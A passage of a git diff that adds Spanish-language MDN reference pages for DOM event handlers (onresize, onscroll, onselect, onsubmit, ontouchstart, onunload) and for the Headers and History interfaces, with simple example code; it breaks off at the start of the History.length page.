index 0000000000..5d18902f04
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/onresize/index.html
@@ -0,0 +1,71 @@
+---
+title: GlobalEventHandlers.onresize
+slug: Web/API/GlobalEventHandlers/onresize
+tags:
+  - API
+  - DOM
+  - Propiedad
+translation_of: Web/API/GlobalEventHandlers/onresize
+---
+<p>{{ ApiRef() }}</p>
+
+<p>La propiedad <strong>GlobalEventHandlers.onresize</strong> contiene un {{domxref("EventHandler")}} desencadenado cuando un evento {{event("resize")}} es recibido.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval">window.onresize = <em>funcRef</em>;
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parametros</h3>
+
+<ul>
+ <li><code>funcRef</code> es una referencia a una función.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre>window.onresize = doFunc;
+</pre>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+
+&lt;title&gt;onresize test&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+window.onresize = resize;
+
+function resize()
+{
+ alert("resize event detected!");
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p&gt;Resize the browser window to fire the resize event.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>El evento <u>resize</u> es activado después de que la ventana ha sido redimensionada.</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onresize','onresize')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/api/globaleventhandlers/onscroll/index.html b/files/es/web/api/globaleventhandlers/onscroll/index.html
new file mode 100644
index 0000000000..017085065a
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/onscroll/index.html
@@ -0,0 +1,80 @@
+---
+title: GlobalEventHandlers.onscroll
+slug: Web/API/GlobalEventHandlers/onscroll
+translation_of: Web/API/GlobalEventHandlers/onscroll
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Un manejador de eventos para desplazamiento en <code>element</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">element.onscroll = <var>functionReference</var>
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p><code>functionReference</code> es una referencia a una función para ser ejecutada cuando  <code>element</code> es desplazado (enrollado).</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;style&gt;
+  #container {
+    position: absolute;
+    height: auto;
+    top: 0;
+    bottom: 0;
+    width: auto;
+    left: 0;
+    right: 0;
+    overflow: auto;
+  }
+
+  #foo {
+    height:1000px;
+    width:1000px;
+    background-color: #777;
+    display: block;
+  }
+
+  &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;div id="container"&gt;
+      &lt;div id="foo"&gt;&lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;script type="text/javascript"&gt;
+      document.getElementById('container').onscroll = function() {
+        console.log("scrolling");
+      };
+    &lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>El evento es generado cuando el usuario realiza desplazamiento (scrolls) sobre el contenido de un elemento. <code>Element.onscroll</code> es equivalente a <code>element.addEventListener("scroll" ... )</code>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Events", "#event-type-scroll", "onscroll")}}</td>
+   <td>{{Spec2("DOM3 Events")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/api/globaleventhandlers/onselect/index.html b/files/es/web/api/globaleventhandlers/onselect/index.html
new file mode 100644
index 0000000000..a97e18c74a
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/onselect/index.html
@@ -0,0 +1,74 @@
+---
+title: GlobalEventHandlers.onselect
+slug: Web/API/GlobalEventHandlers/onselect
+translation_of: Web/API/GlobalEventHandlers/onselect
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<div>Un manejador de evento para el evento select en la ventana.</div>
+</div>
+
+<p> </p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">window.onselect = <em>funcRef</em>;
+</pre>
+
+<ul>
+ <li><code>funcRef</code> es una función</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+
+&lt;title&gt;onselect test&lt;/title&gt;
+
+&lt;style type="text/css"&gt;
+.text1 { border: 2px solid red; }
+&lt;/style&gt;
+
+&lt;script type="text/javascript"&gt;
+
+window.onselect = selectText;
+
+function selectText()
+{
+ alert("¡detectado evento select!");
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;textarea class="text1" cols="30" rows="3"&gt;
+Resalte algo de este texto
+con el puntero del ratón
+para disparar el evento onselect.
+&lt;/textarea&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>El evento select sólo se genera cuando es seleccionado texto dentro de un control de entrada (INPUT) de tipo text o textarea. El evento es disparado <em>después</em> de que el texto haya sido seleccionado.</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especifiación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onselect','onselect')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/api/globaleventhandlers/onselectstart/index.html b/files/es/web/api/globaleventhandlers/onselectstart/index.html
new file mode 100644
index 0000000000..9ef1886a4f
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/onselectstart/index.html
@@ -0,0 +1,98 @@
+---
+title: GlobalEventHandlers.onselectstart
+slug: Web/API/GlobalEventHandlers/onselectstart
+translation_of: Web/API/GlobalEventHandlers/onselectstart
+---
+<div>{{ApiRef('DOM')}}{{SeeCompatTable}}</div>
+
+<p>La propiedad <code><strong>GlobalEventHandlers.onselectstart</strong></code> representa el manejador de evento que es invocado cuando un evento {{event("selectstart")}} alcanza el objeto.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>obj</em>.onselectstart = <em>function</em>;
+</pre>
+
+<ul>
+ <li><code>function</code> es el nombre de una función definida por el usuario, sin el sufijo () ni ningún parámetro, o una declaración de función anónima.</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html">document.onselectstart = function() { console.log("¡Selección iniciada!"); };
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selection API','','GlobalEventHandlers.onselectstart')}}</td>
+   <td>{{Spec2('Selection API')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatGeckoDesktop(43)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><code>onselectionchange</code></td>
+   <td>{{CompatGeckoMobile(43)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Esto está implementado subordinado a la preferencia <code>dom.select_events.enabled</code>, que por defecto es <code>false</code>, excepto en las versiones Nightly.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{event("selectstart")}}</li>
+ <li>{{domxref("Document.onselectionchange")}} and {{event('selectionchange')}}.</li>
+</ul>
diff --git a/files/es/web/api/globaleventhandlers/onsubmit/index.html b/files/es/web/api/globaleventhandlers/onsubmit/index.html
new file mode 100644
index 0000000000..948f7c9e57
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/onsubmit/index.html
@@ -0,0 +1,125 @@
+---
+title: GlobalEventHandlers.onsubmit
+slug: Web/API/GlobalEventHandlers/onsubmit
+translation_of: Web/API/GlobalEventHandlers/onsubmit
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Manejador de eventos del evento submit para el objeto window.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="eval">window.onsubmit = <em>funcRef</em>;
+</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<ul>
+ <li><code>funcRef</code> es una referencia a una función.</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="eval">&lt;html&gt;
+&lt;script&gt;
+function reg() {
+  window.captureEvents(Event.SUBMIT);
+  window.onsubmit = hit;
+}
+
+function hit() {
+  console.log('hit');
+}
+&lt;/script&gt;
+
+&lt;body onload="reg();"&gt;
+&lt;form&gt;
+  &lt;input type="submit" value="submit" /&gt;
+&lt;/form&gt;
+&lt;div id="d"&gt; &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>El evento submit se genera cuando el usuario hace click en el boton submit en un formulario (<code>&lt;input type="submit"/&gt;</code>).</p>
+
+<p>El evento submit no se genera cuando el usuario llama a la función <code>form.submit()</code> directamente.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onsubmit','onsubmit')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/api/globaleventhandlers/ontouchstart/index.html b/files/es/web/api/globaleventhandlers/ontouchstart/index.html
new file mode 100644
index 0000000000..db51db726f
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/ontouchstart/index.html
@@ -0,0 +1,126 @@
+---
+title: GlobalEventHandlers.ontouchstart
+slug: Web/API/GlobalEventHandlers/ontouchstart
+translation_of: Web/API/GlobalEventHandlers/ontouchstart
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Un {{domxref("GlobalEventHandlers","global event handler")}} para el evento {{event("touchstart")}}.</p>
+
+<p>{{SeeCompatTable}}</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Este atributo <em>no</em> ha sido estandarizado formalmente. Está especificado en la especificación {{SpecName('Touch Events 2')}} {{Spec2('Touch Events 2')}} y no en {{SpecName('Touch Events')}} {{Spec2('Touch Events')}}. Este atributo no está totalmente implementado.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval">var startHandler = cualquierElemento.ontouchstart;
+</pre>
+
+<h3 id="Return_Value" name="Return_Value">Valor devuelto</h3>
+
+<dl>
+ <dt><code>startHandler</code></dt>
+ <dd>El manejador del evento <code>touchstart</code> para el elemento <code>cualquierElemento</code>.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este ejemplo muestra dos formas de utilizar <code>ontouchstart</code> para establecer un manejador de evento <code>touchstart</code>.</p>
+
+<pre class="brush: js">&lt;html&gt;
+&lt;script&gt;
+function startTouch(ev) {
+ // Procesar el evento
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.ontouchstart = startTouch;
+}
+&lt;/script&gt;
+&lt;body onload="init();"&gt;
+&lt;div id="target1"&gt; Tócame ... &lt;/div&gt;
+&lt;div id="target2" ontouchstart="startTouch(event)"&gt; Tócame ... &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2','#widl-GlobalEventHandlers-ontouchstart')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Versión no estable.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{ event("touchstart") }}</li>
+</ul>
diff --git a/files/es/web/api/globaleventhandlers/onunload/index.html b/files/es/web/api/globaleventhandlers/onunload/index.html
new file mode 100644
index 0000000000..a665fc2027
--- /dev/null
+++ b/files/es/web/api/globaleventhandlers/onunload/index.html
@@ -0,0 +1,45 @@
+---
+title: window.onunload
+slug: Web/API/GlobalEventHandlers/onunload
+translation_of: Web/API/WindowEventHandlers/onunload
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Test Summary</h3>
+<p>The unload event is raised when the document is unloaded.</p>
+<h3 id="Syntax" name="Syntax">Syntax</h3>
+<pre class="eval">window.onunload = <em>funcRef</em>;
+</pre>
+<ul>
+ <li><code>funcRef</code> is a reference to a function.</li>
+</ul>
+<h3 id="Example" name="Example">Example</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+
+&lt;title&gt;onunload test&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+window.onunload = unloadPage;
+
+function unloadPage()
+{
+ alert("unload event detected!");
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p&gt;Reload a new page into the browser&lt;br /&gt;
+ to fire the unload event for this page.&lt;/p&gt;
+&lt;p&gt;You can also use the back or forward buttons&lt;br /&gt;
+ to load a new page and fire this event.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>Note that using this event handler in your page prevents Firefox 1.5 from caching the page in the in-memory bfcache. See <a href="/En/Using_Firefox_1.5_caching" title="En/Using_Firefox_1.5_caching">Using Firefox 1.5 caching</a> for details.</p>
+<p>Browsers equipped with pop-up window blockers will ignore all window.open() method calls in onunload event handler functions.</p>
+<h3 id="Specification" name="Specification">Specification</h3>
+<p>{{ DOM0() }}</p>
+<p>{{ languages( {"zh-cn": "zh-cn/DOM/window.onunload" } ) }}</p>
diff --git a/files/es/web/api/headers/index.html b/files/es/web/api/headers/index.html
new file mode 100644
index 0000000000..cb65b6aa11
--- /dev/null
+++ b/files/es/web/api/headers/index.html
@@ -0,0 +1,135 @@
+---
+title: Headers
+slug: Web/API/Headers
+tags:
+  - API
+  - Experimental
+  - Fetch
+  - Headers
+  - Interface
+  - Reference
+translation_of: Web/API/Headers
+---
+<div>{{ APIRef("Fetch") }}</div>
+
+<div>La interfaz <strong><code>Headers</code></strong> de la <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> permite realizar diversas acciones en los Headers de solicitud y respuesta HTTP.Estas acciones incluyen recuperar, establecer, agregar y eliminar. Un objeto <code>Header</code> tiene una lista  asociada que inicialmente está vacía, y consta de cero o más pares de nombre y valor.</div>
+
+<div>Es posible añadir metodos de uso como <span style="line-height: 19.0909080505371px;">{{domxref("Headers.append","append()")}} (ver{{anch(" ejemplos")}}.) En todos los métodos de esta interfaz, los nombres de los encabezados se relacionan con una secuencia de bytes sensible a mayúsculas y minúsculas.</span></div>
+
+<div>Por razones de seguridad, algunos headers pueden ser controlados unicamente por el <strong>user agent</strong>. Estos headers incluyen los {{Glossary("Forbidden_header_name", "nombres prohibidos para headers", 1)}}  y {{Glossary("Forbidden_response_header_name", "nombres prohibidos de Headers response", 1)}}.</div>
+
+<p>A Headers object also has an associated guard, which takes a value of <code>immutable</code>, <code>request</code>, <code>request-no-cors</code>, <code>response</code>, or <code>none</code>. This affects whether the {{domxref("Headers.set","set()")}}, {{domxref("Headers.delete","delete()")}}, and {{domxref("Headers.append","append()")}} methods will mutate the header. For more information see {{Glossary("Guard")}}.</p>
+
+<p>You can retrieve a <code>Headers</code> object via the {{domxref("Request.headers")}} and {{domxref("Response.headers")}} properties, and create a new <code>Headers</code> object using the {{domxref("Headers.Headers()")}} constructor.</p>
+
+<p>An object implementing <code>Headers</code> can directly be used in a {{jsxref("Statements/for...of", "for...of")}} structure, instead of {{domxref('Headers.entries()', 'entries()')}}: <code>for (var p of myHeaders)</code> is equivalent to <code>for (var p of myHeaders.entries())</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: you can find more out about the available headers by reading our <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a> reference.</p>
+</div>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("Headers.Headers()")}}</dt>
+ <dd>Creates a new <code>Headers</code> object.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Headers.append()")}}</dt>
+ <dd>Appends a new value onto an existing header inside a <code>Headers</code> object, or adds the header if it does not already exist.</dd>
+ <dt>{{domxref("Headers.delete()")}}</dt>
+ <dd>Deletes a header from a <code>Headers</code> object.</dd>
+ <dt>{{domxref("Headers.entries()")}}</dt>
+ <dd>Returns an {{jsxref("Iteration_protocols","iterator")}} allowing to go through all key/value pairs contained in this object.</dd>
+ <dt>{{domxref("Headers.forEach()")}}</dt>
+ <dd>Executes a provided function once for each array element.</dd>
+ <dt>{{domxref("Headers.get()")}}</dt>
+ <dd>Returns a {{domxref("ByteString")}} sequence of all the values of a header within a <code>Headers</code> object with a given name.</dd>
+ <dt>{{domxref("Headers.has()")}}</dt>
+ <dd>Returns a boolean stating whether a <code>Headers</code> object contains a certain header.</dd>
+ <dt>{{domxref("Headers.keys()")}}</dt>
+ <dd>Returns an {{jsxref("Iteration_protocols", "iterator")}} allowing you to go through all keys of the key/value pairs contained in this object.</dd>
+ <dt>{{domxref("Headers.set()")}}</dt>
+ <dd>Sets a new value for an existing header inside a <code>Headers</code> object, or adds the header if it does not already exist.</dd>
+ <dt>{{domxref("Headers.values()")}}</dt>
+ <dd>Returns an {{jsxref("Iteration_protocols", "iterator")}} allowing you to go through all values of the key/value pairs contained in this object.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: To be clear, the difference between {{domxref("Headers.set()")}} and {{domxref("Headers.append()")}} is that if the specified header does already exist and does accept multiple values, {{domxref("Headers.set()")}} will overwrite the existing value with the new one, whereas {{domxref("Headers.append()")}} will append the new value onto the end of the set of values. See their dedicated pages for example code.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: All of the Headers methods will throw a <code>TypeError</code> if you try to pass in a reference to a name that isn't a <a href="https://fetch.spec.whatwg.org/#concept-header-name">valid HTTP Header name</a>. The mutation operations will throw a <code>TypeError</code> if the header has an immutable {{Glossary("Guard")}}. In any other failure case they fail silently.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: When Header values are iterated over, they are automatically sorted in lexicographical order, and values from duplicate header names are combined.</p>
+</div>
+
+<h3 id="Obsolete_methods">Obsolete methods</h3>
+
+<dl>
+ <dt>{{domxref("Headers.getAll()")}}</dt>
+ <dd>Used to return an array of all the values of a header within a <code>Headers</code> object with a given name; this method has now been deleted from the spec, and {{domxref("Headers.get()")}} now returns all values instead of just one.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In the following snippet, we create a new header using the <code>Headers()</code> constructor, add a new header to it using <code>append()</code>, then return that header value using <code>get()</code>:</p>
+
+<pre class="brush: js">var myHeaders = new Headers();
+
+myHeaders.append('Content-Type', 'text/xml');
+myHeaders.get('Content-Type') // should return 'text/xml'
+</pre>
+
+<p>The same can be achieved by passing an array of arrays or an object literal to the constructor:</p>
+
+<pre class="brush: js">var myHeaders = new Headers({
+    'Content-Type': 'text/xml'
+});
+
+// or, using an array of arrays:
+myHeaders = new Headers([
+    ['Content-Type', 'text/xml']
+]);
+
+myHeaders.get('Content-Type') // should return 'text/xml'
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#headers-class','Headers')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Headers")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/web/api/history/index.html b/files/es/web/api/history/index.html
new file mode 100644
index 0000000000..03bcb13185
--- /dev/null
+++ b/files/es/web/api/history/index.html
@@ -0,0 +1,86 @@
+---
+title: History
+slug: Web/API/History
+tags:
+  - API
+  - HTML DOM
+  - History API
+  - Interface
+  - NeedsTranslation
+  - TopicStub
+  - Web
+translation_of: Web/API/History
+---
+<div>{{ APIRef("History API") }}</div>
+
+<p>The <strong><code>History</code></strong> interface allows manipulation of the browser <em>session history</em>, that is the pages visited in the tab or frame that the current page is loaded in.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>History</code></em><em> interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("History.length","length")}} {{readOnlyInline}}</dt>
+ <dd>Returns an <code>Integer</code> representing the number of elements in the session history, including the currently loaded page. For example, for a page loaded in a new tab this property returns <code>1</code>.</dd>
+ <dt>{{domxref("History.scrollRestoration","scrollRestoration")}}</dt>
+ <dd>Allows web applications to explicitly set default scroll restoration behavior on history navigation. This property can be either <code>auto</code> or <code>manual</code>.</dd>
+ <dt>{{domxref("History.state","state")}} {{readOnlyInline}}</dt>
+ <dd>Returns an <code>any</code> value representing the state at the top of the history stack. This is a way to look at the state without having to wait for a {{event("popstate")}} event.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The <code>History</code></em> <em>interface doesn't inherit any methods.</em></p>
+
+<dl>
+ <dt>{{domxref("History.back","back()")}}</dt>
+ <dd>This asynchronous method goes to the previous page in session history, the same action as when the user clicks the browser's <kbd>Back</kbd> button. Equivalent to <code>history.go(-1)</code>.
+ <div class="note">Calling this method to go back beyond the first page in the session history has no effect and doesn't raise an exception.</div>
+ </dd>
+ <dt>{{domxref("History.forward","forward()")}}</dt>
+ <dd>This asynchronous method goes to the next page in session history, the same action as when the user clicks the browser's <kbd>Forward</kbd> button; this is equivalent to <code>history.go(1)</code>.
+ <div class="note">Calling this method to go forward beyond the most recent page in the session history has no effect and doesn't raise an exception.</div>
+ </dd>
+ <dt>{{domxref("History.go","go()")}}</dt>
+ <dd>Asynchronously loads a page from the session history, identified by its relative location to the current page, for example <code>-1</code> for the previous page or <code>1</code> for the next page. If you specify an out-of-bounds value (for instance, specifying <code>-1</code> when there are no previously-visited pages in the session history), this method silently has no effect. Calling <code>go()</code> without parameters or a value of <code>0</code> reloads the current page. Internet Explorer lets you specify a string, instead of an integer, to go to a specific URL in the history list.</dd>
+ <dt>{{domxref("History.pushState","pushState()")}}</dt>
+ <dd>Pushes the given data onto the session history stack with the specified title (and, if provided, URL). The data is treated as opaque by the DOM; you may specify any JavaScript object that can be serialized.  Note that all browsers but Safari currently ignore the <em>title</em> parameter. For more information, see <a href="/en-US/docs/Web/API/History_API/Working_with_the_History_API">Working with the History API</a>.</dd>
+ <dt>{{domxref("History.replaceState","replaceState()")}}</dt>
+ <dd>Updates the most recent entry on the history stack to have the specified data, title, and, if provided, URL. The data is treated as opaque by the DOM; you may specify any JavaScript object that can be serialized.  Note that all browsers but Safari currently ignore the <em>title</em> parameter. For more information, see <a href="/en-US/docs/Web/API/History_API/Working_with_the_History_API">Working with the History API</a>.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "browsers.html#the-history-interface", "History")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Adds the <code>scrollRestoration</code> attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-history-interface", "History")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.History")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("Window.history")}} property returning the history of the current session.</li>
+</ul>
diff --git a/files/es/web/api/history/length/index.html b/files/es/web/api/history/length/index.html
new file mode 100644
index 0000000000..f8d8bd65ba
--- /dev/null
+++ b/files/es/web/api/history/length/index.html
@@ -0,0 +1,56 @@
+---
+title: History.length
